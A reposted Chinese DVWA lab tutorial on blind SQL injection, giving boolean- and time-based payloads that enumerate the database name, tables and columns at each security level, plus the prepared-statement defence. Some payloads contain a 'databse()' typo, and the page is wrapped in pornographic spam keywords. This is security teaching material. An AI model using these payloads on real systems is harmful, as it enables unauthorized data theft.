日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

DVWA学习(二)SQL Injection(Blind)

發(fā)布時(shí)間:2025/3/21 数据库 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA学习(二)SQL Injection(Blind) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

SQL Injection(Blind),即SQL盲注,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁(yè)面上看到注入語(yǔ)句的執(zhí)行結(jié)果,而盲注時(shí)攻擊者通常是無(wú)法從顯示頁(yè)面上獲取執(zhí)行結(jié)果,甚至連注入語(yǔ)句是否執(zhí)行都無(wú)從得知,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。

手工盲注思路

1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫(kù)名
3.猜解數(shù)據(jù)庫(kù)中的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)

下面對(duì)DVWA四種安全級(jí)別的代碼進(jìn)行分析。

Low

服務(wù)器端核心代碼

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>

可以看到,Low級(jí)別的代碼對(duì)參數(shù)id沒(méi)有做任何檢查、過(guò)濾,存在明顯的SQL注入漏洞,同時(shí)SQL語(yǔ)句查詢(xún)返回的結(jié)果只有兩種:

$html .= '<pre>User ID exists in the database.</pre>'; $html .= '<pre>User ID is MISSING from the database.</pre>';

因此這里是SQL盲注漏洞。

漏洞利用

首先演示基于布爾的盲注

1.判斷是否存在注入,注入是字符型還是數(shù)字型

輸入1,顯示相應(yīng)用戶(hù)存在:

輸入1’ and 1=1 #,顯示存在:

輸入1’ and 1=2 #,顯示不存在:

說(shuō)明存在字符型的SQL盲注。

2.猜解當(dāng)前數(shù)據(jù)庫(kù)名

想要猜解數(shù)據(jù)庫(kù)名,首先要猜解數(shù)據(jù)庫(kù)名的長(zhǎng)度,然后挨個(gè)猜解字符。

輸入1’ and length(database())=1 #,顯示不存在;
輸入1’ and length(database())=2 #,顯示不存在;
輸入1’ and length(database())=3 #,顯示不存在;
輸入1’ and length(database())=4 #,顯示存在:


說(shuō)明數(shù)據(jù)庫(kù)名長(zhǎng)度為4。
下面采用二分法猜解數(shù)據(jù)庫(kù)名。

  • 輸入1’ and ascii(substr(databse(),1,1))>97 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值大于97(小寫(xiě)字母a的ascii值);
  • 輸入1’ and ascii(substr(databse(),1,1))<122 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于122(小寫(xiě)字母z的ascii值);
  • 輸入1’ and ascii(substr(databse(),1,1))<109 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于109(小寫(xiě)字母m的ascii值);
  • 輸入1’ and ascii(substr(databse(),1,1))<103 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于103(小寫(xiě)字母g的ascii值);
  • 輸入1’ and ascii(substr(databse(),1,1))<100 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值不小于100(小寫(xiě)字母d的ascii值);
  • 輸入1’ and ascii(substr(databse(),1,1))>100 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值不大于100(小寫(xiě)字母d的ascii值),所以數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值為100,即小寫(xiě)字母d。

    重復(fù)上述步驟,就可以猜解出完整的數(shù)據(jù)庫(kù)名(dvwa)了。

3.猜解數(shù)據(jù)庫(kù)中的表名

首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:

  • 1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
  • 1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在

說(shuō)明數(shù)據(jù)庫(kù)中共有兩個(gè)表。
接著挨個(gè)猜解表名:

  • 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
  • 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
  • 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

說(shuō)明第一個(gè)表名長(zhǎng)度為9。

  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在

說(shuō)明第一個(gè)表的名字的第一個(gè)字符為小寫(xiě)字母g。
重復(fù)上述步驟,即可猜解出兩個(gè)表名(guestbook、users)。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

  • 1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在
  • 1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在

說(shuō)明users表有8個(gè)字段。
接著挨個(gè)猜解字段名:

  • 1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
  • 1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在

說(shuō)明users表的第一個(gè)字段為7個(gè)字符長(zhǎng)度。
采用二分法,即可猜解出所有字段名。

5.猜解數(shù)據(jù)

同樣采用二分法。
還可以使用基于時(shí)間的盲注

1.判斷是否存在注入,注入是字符型還是數(shù)字型

  • 輸入1’ and sleep(5) #,感覺(jué)到明顯延遲,5秒左右;
  • 輸入1 and sleep(5) #,沒(méi)有延遲;

2.猜解當(dāng)前數(shù)據(jù)庫(kù)名

首先猜解數(shù)據(jù)名的長(zhǎng)度:

  • 1’ and if(length(database())=1,sleep(5),1) # 沒(méi)有延遲
  • 1’ and if(length(database())=2,sleep(5),1) # 沒(méi)有延遲
  • 1’ and if(length(database())=3,sleep(5),1) # 沒(méi)有延遲
  • 1’ and if(length(database())=4,sleep(5),1) # 明顯延遲

說(shuō)明數(shù)據(jù)庫(kù)名長(zhǎng)度為4個(gè)字符。
接著采用二分法猜解數(shù)據(jù)庫(kù)名:

  • 1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲
  • 1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒(méi)有延遲
  • 1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒(méi)有延遲

說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符為小寫(xiě)字母d。
重復(fù)上述步驟,即可猜解出數(shù)據(jù)庫(kù)名。

3.猜解數(shù)據(jù)庫(kù)中的表名

首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:

  • 1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒(méi)有延遲
  • 1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲

說(shuō)明數(shù)據(jù)庫(kù)中有兩個(gè)表。
接著挨個(gè)猜解表名:

  • 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒(méi)有延遲
  • 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲

說(shuō)明第一個(gè)表名的長(zhǎng)度為9個(gè)字符。
采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

  • 1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒(méi)有延遲
  • 1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲

說(shuō)明users表中有8個(gè)字段。
接著挨個(gè)猜解字段名:

  • 1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒(méi)有延遲
  • 1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲

說(shuō)明users表的第一個(gè)字段長(zhǎng)度為7個(gè)字符。
采用二分法即可猜解出各個(gè)字段名。

5.猜解數(shù)據(jù)

同樣采用二分法。

Medium

服務(wù)器端核心代碼

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}//mysql_close(); }?>

可以看到,Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)
\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來(lái)控制用戶(hù)的輸入。

漏洞利用

雖然前端使用了下拉選擇菜單,但我們依然可以通過(guò)抓包改參數(shù)id,提交惡意構(gòu)造的查詢(xún)參數(shù)。
之前已經(jīng)介紹了詳細(xì)的盲注流程,這里就簡(jiǎn)要演示幾個(gè)。
首先是基于布爾的盲注
抓包改參數(shù)或者使用hackbar修改

  • id為1 and length(database())=1 #,顯示不存在

    id為1 and length(database())=4 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;

  • id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
  • id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273為users的16進(jìn)制),顯示存在,說(shuō)明uers表有8個(gè)字段。

然后是基于時(shí)間的盲注
抓包改參數(shù)或者使用hackbar修改

  • id為1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;
  • id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
  • id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說(shuō)明uers表有8個(gè)字段。

High

服務(wù)器端核心代碼

<?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>

可以看到,High級(jí)別的代碼利用cookie傳遞參數(shù)id,當(dāng)SQL查詢(xún)結(jié)果為空時(shí),會(huì)執(zhí)行函數(shù)sleep(seconds),目的是為了擾亂基于時(shí)間的盲注。同時(shí)在 SQL查詢(xún)語(yǔ)句中添加了LIMIT 1,希望以此控制只輸出一個(gè)結(jié)果。

  • 抓包將cookie中參數(shù)id改為1’ and length(database())=1 #,顯示不存在


  • 抓包將cookie中參數(shù)id改為1’ and length(database())=4 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;
  • 抓包將cookie中參數(shù)id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
  • 抓包將cookie中參數(shù)id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進(jìn)制),顯示存在,說(shuō)明uers表有8個(gè)字段。

Impossible

服務(wù)器端核心代碼

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}} }// Generate Anti-CSRF token generateSessionToken();?>

可以看到,Impossible級(jí)別的代碼采用了PDO技術(shù),劃清了代碼與數(shù)據(jù)的界限,有效防御SQL注入,Anti-CSRF token機(jī)制的加入了進(jìn)一步提高了安全性。

本文參考https://www.freebuf.com/articles/web/120985.html

總結(jié)

以上是生活随笔為你收集整理的DVWA学习(二)SQL Injection(Blind)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国产亚洲性欧美日韩在线观看软件 | a天堂v | 熟女一区二区三区四区 | 欧美性aaa | 日韩精品人妻一区二区三区免费 | av网站在线播放 | 26uuu成人网 国产精品久久久久久久久久直播 | 午夜时刻免费入口 | 国产精品剧情一区 | 一区二区三区久久久久 | 天堂资源最新在线 | 91亚洲一线产区二线产区 | 欧美午夜精品一区二区三区 | 亚色视频在线 | 精精国产xxxx视频在线 | 爱爱色图 | 国产综合无码一区二区色蜜蜜 | 波多野结衣办公室33分钟 | 久久久久一 | 精品久久久999 | 苏晴忘穿内裤坐公交车被揉到视频 | 亚洲午夜激情视频 | 老司机午夜剧场 | 中文字幕在线看片 | 精品久久综合 | 国产鲁鲁视频在线观看免费 | 日本一区二区三区久久久久 | 国产日韩精品一区 | 漂亮少妇高潮午夜精品 | 性欧美丰满熟妇xxxx性仙踪林 | 黄色大尺度视频 | www狠狠| 成年人香蕉视频 | 中文字幕精品在线视频 | 免费在线观看高清影视网站 | 国产精品久久国产愉拍 | 日韩一级二级视频 | 欧美一级淫片免费 | 麻豆成人久久精品一区二区三区 | 美女被日网站 | 五月伊人网 | 欧美日韩卡一卡二 | 久久午夜精品视频 | 国产又粗又猛又爽又黄91 | 丰满少妇大力进入 | 国产95在线 | 91喷水视频| 精品久久久国产 | a级无毛片 | 97精品久久久 | 精品视频在线观看一区二区 | 91丝袜美腿 | 日韩美女中文字幕 | 成年人免费av | 美女张开双腿让男人捅 | 欧美综合视频 | 精彩久久 | 午夜免费影院 | 婷婷六月综合网 | 四季av综合网站 | 欧美日韩综合一区二区三区 | 国产精品7777777| 操白虎逼 | 亚洲国产中文字幕 | xxx性欧美| 精品播放 | 韩国三级hd中文字幕的背景音乐 | 中国一级片黄色一级片黄 | 91美女视频在线观看 | 亚州av综合色区无码一区 | 麻豆成人在线观看 | 中文字幕av观看 | 精品人妻午夜一区二区三区四区 | 狼干综合| 亚洲天堂免费在线观看视频 | 日韩黄色三级视频 | 51人人看 | 妺妺窝人体色www在线下载 | 想要视频在线 | 国产精品91久久 | 亚洲一级影片 | 久久国产精品亚洲 | 男人的天堂免费视频 | 超碰国产在线观看 | 亚洲久久一区 | 久久久久久激情 | 91大神久久 | 不卡中文字幕在线 | 亚色影库| 日韩激情在线视频 | 国产剧情在线 | 成人小视频在线播放 | 免费成人av网址 | 日韩欧美福利视频 | 69xxx免费视频 | 久久国产中文字幕 | 草草地址线路①屁屁影院成人 | 主播福利在线 | 国内成人免费视频 |